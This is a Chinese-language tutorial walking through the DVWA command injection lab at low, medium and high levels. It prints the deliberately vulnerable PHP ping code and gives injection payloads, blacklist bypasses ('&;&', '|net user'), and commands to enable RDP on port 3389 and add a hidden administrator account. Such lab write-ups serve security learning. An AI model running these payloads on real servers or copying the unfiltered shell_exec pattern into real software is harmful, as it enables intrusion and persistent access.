首先我們查看源代碼一下
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>
這里對一些函數進行解釋
stristr(string,search,before_search)
stristr函數搜索字符串在另一字符串中的第一次出現,返回字符串的剩余部分(從匹配點),如果未找到所搜索的字符串,則返回 FALSE。參數string規定被搜索的字符串,參數search規定要搜索的字符串(如果該參數是數字,則搜索匹配該數字對應的 ASCII 值的字符),可選參數before_true為布爾型,默認為“false” ,如果設置為 “true”,函數將返回 search 參數第一次出現之前的字符串部分。
php_uname(mode)
這個函數會返回運行php的操作系統的相關描述,參數mode可取值”a” (此為默認,包含序列”s n r v m”里的所有模式),”s ”(返回操作系統名稱),”n”(返回主機名),” r”(返回版本名稱),”v”(返回版本信息), ”m”(返回機器類型)。
可以看到,服務器通過判斷操作系統執行不同ping命令,但是對ip參數並未做任何的過濾,導致了嚴重的命令注入漏洞。
漏洞的利用
window和linux系統都可以用&&來執行多條命令
127.0.0.1&& net user
可以看見危害之大
127.0.0.1&& netstat -ano
這里還可以執行命令查看服務器端口運行情況
我們通過這個漏洞先打開3389端口 然后在添加一個用戶組進去進行攻擊 win打開3389端口的命令
127.0.0.1&& wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
關閉代碼
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
然后查看端口開放情況
這里我們看見3389端口被打開 我們現在可以進行對用戶組的操作進行遠程鏈接
命令如下
net user 用戶名 密碼 /add net localgroup administrators 用戶名 /add
進行第一跳語句的時候發現360攔截了 證明語句成功
這里我們就不演了 因為危害有點大
這就是command injection的漏洞利用遠程代碼執行 危害的初級利用
0x02 中級別的
老規矩我們先進行一波代碼的審計
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Set blacklist $substitutions = array( '&&' => '', ';' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; }
看見這里把&&和;刪除了
這里我們可以構造這種方法來進行繞過
127.0.01 &;& netstat -ano
當然我們也可以進行
127.0.01 & netstat -ano
Command 1&&Command 2
先執行Command 1,執行成功后執行Command 2,否則不執行Command 2
Command 1&Command 2
先執行Command 1,不管是否成功,都會執行Command 2
結果一樣的
然后執行攻擊命令和初級的一樣了
0x03我們來查看high級別的
源碼
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = trim($_REQUEST[ 'ip' ]); // Set blacklist $substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>
這里看見增加了更多符號的過濾讓我們寸步難行嗎?
這里小編是沒有辦法的 但是去別人的博客看見了一個很6東西 因為 |(高級過濾這個的時候|后面還有一個空格 )因此|就成為了漏網之魚
127.0.0.1|net user
這里因為過濾了-所以很多命令都不能執行 小編編能力有限找不到繞過方式 找了一上午 嘗試了各種編碼 也不行
慢慢來吧 一步一步積累